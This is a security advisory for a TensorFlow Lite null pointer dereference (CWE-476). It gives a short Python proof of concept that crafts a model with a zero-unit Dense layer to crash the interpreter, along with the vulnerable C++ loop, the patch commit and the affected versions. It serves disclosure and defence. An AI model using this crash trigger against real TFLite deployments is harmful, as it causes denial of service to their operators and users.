An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:
import tensorflow as tf
model = tf.keras.models.Sequential()
model.add(tf.keras.Input(shape=(1, 2, 3)))
model.add(tf.keras.layers.Dense(0, activation='relu'))
converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_model = converter.convert()
interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
interpreter.invoke()
The implementation unconditionally dereferences a pointer.
if (y4 > 1) {
// ...
} else {
for (int i0 = 0; i0 < y0; ++i0) {
const T* input2_data_ptr = nullptr;
for (int i1 = 0; i1 < y1; ++i1) {
input2_data_ptr = input2_data_reset;
for (int i2 = 0; i2 < y2; ++i2) {
scalar_broadcast_f(y3, params, *input1_data_ptr, input2_data_ptr,
output_data_ptr);
}
}
}
}
We have patched the issue in GitHub commit 15691e456c7dc9bd6be203b09765b063bf4a380c.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Yakun Zhang of Baidu Security.
{ "nvd_published_at": "2021-08-12T22:15:00Z", "cwe_ids": [ "CWE-476" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2021-08-24T17:57:25Z" }